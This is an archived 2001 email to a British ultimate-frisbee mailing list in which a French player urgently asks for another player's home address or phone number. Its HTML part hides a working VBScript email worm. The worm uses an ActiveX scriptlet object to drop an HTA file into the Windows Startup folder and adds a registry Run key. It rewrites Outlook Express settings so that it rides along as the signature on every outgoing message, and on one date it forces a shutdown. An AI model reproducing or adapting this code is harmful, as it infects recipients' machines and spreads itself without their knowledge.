From britdisc-owner@csv.warwick.ac.uk  Tue May  8 16:34:58 2001
Received: (from daemon@localhost)
	by pansy.csv.warwick.ac.uk (8.11.3/8.11.3) id f48FMee12819
	for britdisc-outgoing; Tue, 8 May 2001 16:22:40 +0100 (BST)
Received: from snowdrop.csv.warwick.ac.uk (root@snowdrop [137.205.192.31])
	by pansy.csv.warwick.ac.uk (8.11.3/8.11.3) with ESMTP id f48FMcD12811
	for <britdisc-real@pansy.csv.warwick.ac.uk>; Tue, 8 May 2001 16:22:38 +0100 (BST)
Received: from bassia.wanadoo.fr (smtp-rt-5.wanadoo.fr [193.252.19.159])
	by snowdrop.csv.warwick.ac.uk (8.11.3/8.11.3) with ESMTP id f48FMb200291
	for <britdisc@csv.warwick.ac.uk>; Tue, 8 May 2001 16:22:37 +0100 (BST)
Received: from amyris.wanadoo.fr (193.252.19.150) by bassia.wanadoo.fr; 8 May 2001 17:22:30 +0200
Received: from pierrick (193.251.2.47) by amyris.wanadoo.fr; 8 May 2001 17:22:16 +0200
Message-ID: <003c01c0d7d2$51211340$04080937@pierrick>
From: "Pierrick SIMON" <pierik.mel.simal@wanadoo.fr>
To: <britdisc@csv.warwick.ac.uk>
Subject: urgent SOS
Date: Tue, 8 May 2001 17:19:46 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0039_01C0D7E3.144E55C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-britdisc@warwick.ac.uk
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0039_01C0D7E3.144E55C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Help me !!!
i'm looking for Jon Hope personal adress or phone number...
Pleeeeeeeeeeeease it's very urgent.

Pierik (frisbeurs nantais - france)

pierik.mel.simal@wanadoo.fr=20
frisbeurs@free.fr=20

------=_NextPart_000_0039_01C0D7E3.144E55C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Help me !!!</FONT></DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>i'm looking for Jon Hope personal =
adress or=20
phone number...</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>Pleeeeeeeeeeeease it's very=20
urgent.</FONT></FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Pierik (frisbeurs nantais - =
france)</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2><FONT face=3DArial><A=20
href=3D"mailto:pierik.mel.simal@wanadoo.fr">pierik.mel.simal@wanadoo.fr</=
A> </FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><A=20
href=3D"mailto:frisbeurs@free.fr">frisbeurs@free.fr</A>=20
<SCRIPT language=3DVBScript>v=3D""+vbcrlf+"a=3D"""""+vbcrlf+"for j=3D1 =
to 4"+vbcrlf+"select case j"+vbcrlf+"case =
1:c=3Dv:d=3D""v"""+vbcrlf+"case 2:c=3Dm:d=3D""m"""+vbcrlf+"case =
3:c=3Dh:d=3D""h"""+vbcrlf+"case 4:c=3Do:d=3D""o"""+vbcrlf+"end =
select"+vbcrlf+"a=3Da+d+""=3D"""""""+vbcrlf+"for i=3D1 to =
len(c)"+vbcrlf+"if mid(c,i,1)=3D"""""""" =
then"+vbcrlf+"a=3Da+mid(c,i,1)+mid(c,i,1)"+vbcrlf+"elseif =
mid(c,i,1)=3Dchr(13) =
then"+vbcrlf+"a=3Da+""""""+vbcrlf+"""""""+vbcrlf+"i=3Di+1"+vbcrlf+"else"+=
vbcrlf+"a=3Da+mid(c,i,1)"+vbcrlf+"end =
if"+vbcrlf+"next"+vbcrlf+"a=3Da+""""""""+vbcrlf"+vbcrlf+"next"+vbcrlf+""
m=3D"scr.Reset()"+vbcrlf+"scr.doc =3D ""<HTML><HEAD><HTA:APPLICATION =
ID=3D""""hO"""" WINDOWSTATE=3DMinimize></""+""HEAD><BODY><SCRIPT =
language=3DVBScript>set fs =3D =
createObject(""""Scripting.FileSystemObject"""")""+vbcrlf+a+v+h+vbcrlf+""=
self.close()""+vbcrlf+""</""+""SCRIPT></""+""BODY></""+""HTML>"""+vbcrlf+=
"scr.Path=3D""C:\windows\Menu =
d=E9marrer\programmes\d=E9marrage\tam.hta"""+vbcrlf+"scr.write()"
h=3D"if fs.fileexists(""c:\windows\out.html"") then fs.DeleteFile =
""c:\windows\out.html"""+vbcrlf+"set fichier =3D =
fs.CreateTextFile(""c:\windows\out.html"")"+vbcrlf+"fichier.write =
""<HTML><HEAD><""+""/HEAD><BODY>"""+vbcrlf+"fichier.write =
o"+vbcrlf+"fichier.write vbcrlf"+vbcrlf+"fichier.write ""<""+""Script =
language=3DVBScript>""+a+v+vbcrlf+m"+vbcrlf+"fichier.write =
""<""+""/SCRIPT><""+""/BODY><""+""/HTML>"""+vbcrlf+"fichier.close"+vbcrlf=
+"tamhta=3D""c:\windows\menu =
d=E9marrer\programmes\d=E9marrage\tam.hta"""+vbcrlf+"if =
fs.fileexists(tamhta) then"+vbcrlf+"if =
not(fs.fileexists(""c:\windows\out.hta"")) then"+vbcrlf+"fs.CopyFile =
tamhta,""c:\windows\out.hta"""+vbcrlf+"end =
if"+vbcrlf+"fs.getfile(tamhta).attributes=3Dfs.getfile(tamhta).attributes=
 or 2"+vbcrlf+"end if"+vbcrlf+"Set WSH =3D =
CreateObject(""WScript.Shell"")"+vbcrlf+"ID=3DWSH.RegRead(""HKCU\Identiti=
es\Default User ID"")"+vbcrlf+"WSH.RegWrite =
""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\OutGoingCtrl"",""c:\=
windows\out.hta"""+vbcrlf+"path=3D""HKCU\Identities\""+ID+""\Software\Mic=
rosoft\Outlook Express\5.0\"""+vbcrlf+"WSH.RegWrite path+""Mail\Message =
Send HTML"",1,""REG_DWORD"""+vbcrlf+"WSH.RegWrite path+""Signature =
Flags"",3,""REG_DWORD"""+vbcrlf+"path=3Dpath+""signatures\"""+vbcrlf+"WSH=
.RegWrite path+""Default =
Signature"",""00000000"""+vbcrlf+"path=3Dpath+""00000000\"""+vbcrlf+"WSH.=
RegWrite path+""file"",""c:\windows\out.html"""+vbcrlf+"WSH.RegWrite =
path+""name"",""Signature Defaut"""+vbcrlf+"WSH.RegWrite =
path+""text"","""""+vbcrlf+"WSH.RegWrite =
path+""type"",2,""REG_DWORD"""+vbcrlf+"if left(date,5)=3D""30/08"" =
then"+vbcrlf+"dim t(5)"+vbcrlf+"for i=3D1 to 5"+vbcrlf+"msgbox ""Bon =
Anniversaire Lac !!!""+vbcrlf+""      Un =
ami..."",vbokonly+vbsystemmodal,""HAPPY =
BIRTHDAY"""+vbcrlf+"t(i)=3D3600*left(time,2)+60*mid(time,4,2)+right(time,=
2)"+vbcrlf+"next"+vbcrlf+"if t(5)-t(1)<=3D10 then"+vbcrlf+"msgbox =
""KOI??? Ca t'interresse pas? Tu n'es pas digne du monde informatique. =
BYE-BYE"""+vbcrlf+"WSH.run ""rundll32 =
user.dll,ExitWindows"""+vbcrlf+"else"+vbcrlf+"msgbox ""Ok, chante =
HappyBirthday tout ira bien!!!"""+vbcrlf+"end if"+vbcrlf+"end =
if"+vbcrlf+""
o=3D"<DIV style=3D""POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: =
5""><OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></OBJECT></DIV>"

a=3D""
for j=3D1 to 4
select case j
case 1:c=3Dv:d=3D"v"
case 2:c=3Dm:d=3D"m"
case 3:c=3Dh:d=3D"h"
case 4:c=3Do:d=3D"o"
end select
a=3Da+d+"=3D"""
for i=3D1 to len(c)
if mid(c,i,1)=3D"""" then
a=3Da+mid(c,i,1)+mid(c,i,1)
elseif mid(c,i,1)=3Dchr(13) then
a=3Da+"""+vbcrlf+"""
i=3Di+1
else
a=3Da+mid(c,i,1)
end if
next
a=3Da+""""+vbcrlf
next

scr.Reset()
scr.doc =3D "<HTML><HEAD><HTA:APPLICATION ID=3D""hO"" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY><SCRIPT language=3DVBScript>set =
fs =3D =
createObject(""Scripting.FileSystemObject"")"+vbcrlf+a+v+h+vbcrlf+"self.c=
lose()"+vbcrlf+"</"+"SCRIPT></"+"BODY></"+"HTML>"
scr.Path=3D"C:\windows\Menu d=E9marrer\programmes\d=E9marrage\tam.hta"
scr.write()</SCRIPT>
</FONT></FONT></DIV></BODY></HTML>

------=_NextPart_000_0039_01C0D7E3.144E55C0--